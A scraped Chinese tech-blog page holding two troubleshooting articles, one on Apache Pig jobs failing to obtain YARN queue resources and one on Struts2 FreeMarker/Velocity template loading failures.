解决方案与步骤 4.1 检查YARN队列配置 第一步是确认YARN资源管理器的队列配置是否包含了你所指定的队列名。登录到Hadoop ResourceManager节点,查看yarn-site.xml文件中的相关配置,如yarn.resourcemanager.scheduler.class和yarn.scheduler.capacity.root.queues等属性,确保目标队列已被正确创建并启用。 4.2 确认权限问题 其次,检查提交作业的用户是否有权访问指定队列。在容量调度器这个系统里,每个队列都有一份专属的“通行证名单”——也就是ACL(访问控制列表)。为了保险起见,得确认一下您是不是已经在这份名单上,拥有对当前队列的访问权限。 4.3 正确指定队列名 在提交Pig作业时,请务必准确无误地指定队列名。例如,如果你在YARN中有名为"data_processing"的队列,应如此提交作业: shell pig -x mapreduce -param yarn_queue_name=data_processing script.pig 4.4 调整资源请求 最后,根据队列的实际资源配置情况,适当调整作业的资源请求(如vCores、内存等)。如果资源请求开得太大,即使队列里明明有资源并且存货充足,作业也可能抓不到自己需要的那份资源,导致无法顺利完成任务。 5. 总结与思考 理解并解决Pig作业在YARN上无法获取队列资源的问题,不仅需要我们熟悉Apache Pig和YARN的工作原理,更要求我们在实践中细心观察、细致排查。当你碰到这类问题的时候,不妨先从最基础的设置开始“摸底”,一步步地往里探索。同时,得保持像猫捉老鼠那样的敏锐眼神和逮住问题不放的耐心,这样你才能在海量数据这座大山中稳稳当当地向前迈进。毕竟,就像生活一样,处理大数据问题的过程也是充满挑战与乐趣的探索之旅。
2023-06-29 10:55:56
473
半夏微凉
Struts2
...locity模板加载失败问题解析 在构建Web应用程序时,Struts2作为一个强大的MVC框架深受开发者喜爱。然而,在实际做开发的时候,我们可能会遇到这么个情况:当我们选用FreeMarker或者Velocity来当视图技术时,突然模板加载不成功了,这无疑就像个小插曲,给我们的开发进程踩了个“刹车”,带来不少麻烦和困扰。本文将深入探讨这个问题,并通过实例代码进行解析和解决。 1. 引言 Struts2与模板引擎 首先,让我们回顾一下Struts2框架的核心思想。在MVC模式下,Struts2中的Action负责处理业务逻辑,而视图部分则通常借助于FreeMarker或Velocity这样的模板引擎来渲染页面。这两种模板引擎均能帮助我们将数据模型(Model)与表现形式(View)分离,提高代码的可维护性和复用性。 2. 模板加载失败 常见原因分析 ① 路径配置错误 当我们在Struts2中配置模板路径时,如果路径设置不正确,那么模板文件就无法被正确加载。例如,在struts.xml中配置FreeMarker的结果类型时: xml /WEB-INF/templates/success.ftl 如果success.ftl不在指定的/WEB-INF/templates/目录下,就会导致模板加载失败。 ② 模板引擎初始化异常 Struts2在启动时需要对FreeMarker或Velocity引擎进行初始化,如果相关配置如类加载器、模板路径等出现问题,也会引发模板加载失败。例如,对于Velocity,我们需要确保其资源配置正确: xml ③ 文件编码不一致 若模板文件的编码格式与应用服务器或模板引擎默认编码不匹配,也可能造成模板加载失败。例如,FreeMarker的默认编码是ISO-8859-1,如果我们创建的ftl文件是UTF-8编码,就需要在配置中明确指定编码: properties 在freemarker.properties中配置 default_encoding=UTF-8 3. 解决方案及实战演示 ① 核实并修正模板路径 检查并确认struts.xml中的结果类型配置是否指向正确的模板文件位置。如果你把模板放在了其他地方,记得及时更新路径。 ② 正确初始化模板引擎 确保配置文件(如velocity.properties和toolbox.xml)的位置和内容无误,并在Struts2配置中正确引用。如遇异常,可通过日志排查具体错误信息以定位问题。 ③ 统一文件编码 根据实际情况,调整模板文件编码或者模板引擎的默认编码设置,确保二者一致。 4. 结语 模板加载失败背后的人工智能思考 在面对模板加载失败这类看似琐碎却影响项目运行的问题时,我们需要像侦探一样细心观察、抽丝剥茧,找出问题的根本原因。同时呢,咱也要真正认识到,甭管是挑FreeMarker还是Velocity,重点不在选哪个工具,而在于怎么把它们配置得恰到好处,编码要规规矩矩的,还有就是深入理解这些框架背后的运行机制,这才是王道啊!在这个过程中,我们就像在升级打怪一样,不断从实践中汲取经验,让解决各种问题的能力蹭蹭上涨。同时呢,也像是挖掘宝藏一般,对Struts2框架以及整个Web开发大世界有了更深入、更接地气的理解和实践操作。 以上内容,我试图以一种更为口语化、情感化的表达方式,带您走过排查和解决Struts2框架中模板加载失败问题的全过程。希望通过这些实实在在的例子和我们互动式的讨论,让您不仅能摸清表面现象,更能洞察背后的原因,这样一来,在未来的开发工作中您就能更加得心应手,挥洒自如啦!
2024-03-07 10:45:28
175
风轻云淡
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
chown user:group file.txt
- 改变文件的所有者和组。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"